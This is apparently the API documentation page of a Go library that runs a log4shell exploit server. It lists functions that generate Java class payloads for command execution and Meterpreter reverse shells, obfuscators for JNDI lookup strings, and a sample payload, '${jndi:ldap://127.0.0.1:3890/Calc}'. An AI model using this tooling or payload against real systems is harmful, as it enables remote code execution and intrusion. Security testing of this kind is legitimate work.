Documentation ¶
Index ¶
- Constants
- func CommandLineToArgs(cmd string) []string
- func GenerateExecute(template []byte, command, class string) ([]byte, error)
- func GenerateReverseHTTPS(template []byte, host string, port uint16, uri, ua, token, class string) ([]byte, error)
- func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error)
- func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, error)
- func Obfuscate(raw string, token bool) (string, string)
- func ObfuscateWithDollar(raw string, token bool) (string, string)
- type Config
- type Server
Constants ¶
const TokenExpireTime = 20 // second
TokenExpireTime is used to prevent repeat execute payload.
Variables ¶
This section is empty.
Functions ¶
func CommandLineToArgs ¶ added in v1.0.4
CommandLineToArgs splits a command line into individual argument strings, following the Windows conventions documented at http://daviddeley.com/autohotkey/parameters/parameters.htm#WINARGV
func GenerateExecute ¶ added in v1.0.4
GenerateExecute is used to generate class file for execute command.
func GenerateReverseHTTPS ¶ added in v1.0.4
func GenerateReverseHTTPS(template []byte, host string, port uint16, uri, ua, token, class string) ([]byte, error)
GenerateReverseHTTPS is used to generate class file for meterpreter payload/java/meterpreter/reverse_https.
func GenerateReverseTCP ¶ added in v1.0.4
func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error)
GenerateReverseTCP is used to generate class file for meterpreter payload/java/meterpreter/reverse_tcp.
func GenerateSystem ¶ added in v1.0.4
GenerateSystem is used to generate class file for execute command with arguments.
func Obfuscate ¶
Obfuscate is used to obfuscate malicious(payload) string like ${jndi:ldap://127.0.0.1:3890/Calc} for log4j2 package. Return value are obfuscated string and raw with token.
func ObfuscateWithDollar ¶ added in v1.0.3
ObfuscateWithDollar will obfuscate malicious(payload) string, and add a dollar symbol before one string like "${xxx-xxx:-section}". When add one Dollar, repeat execute will not appear and the logger will not print the whole obfuscated string, just a little, but I don't know why this happened, It may cause unexpected situations, so it is disabled by default.
Types ¶
type Config ¶
type Config struct { // Logger is used to set server logger writer. Logger io.Writer // Hostname can be set IP address or domain name, // If enable AutoCert, must set domain name. Hostname string // PayloadDir contains Java class files. PayloadDir string // about servers network and address. HTTPNetwork string HTTPAddress string LDAPNetwork string LDAPAddress string // AutoCert is used to ACME client to sign // certificate automatically, don't need to // set EnableTLS true again. AutoCert bool // EnableTLS is used to enable ldaps and // https server, must set TLS certificate. EnableTLS bool // TLSCert is used to for ldaps and https. TLSCert tls.Certificate }
Config contains configurations about log4shell server.
type Server ¶
type Server struct {
// contains filtered or unexported fields
}
Server is used to create an exploit server that contain a http server and ldap server(can wrap tls), it used to check and exploit Apache Log4j2 vulnerability easily.
func (*Server) HTTPAddress ¶ added in v1.0.2
HTTPAddress is used to get the http listener address.
func (*Server) IsEnableTLS ¶ added in v1.0.2
IsEnableTLS is used to get the log4shell server is enabled TLS.
func (*Server) LDAPAddress ¶ added in v1.0.2
LDAPAddress is used to get the ldap listener address.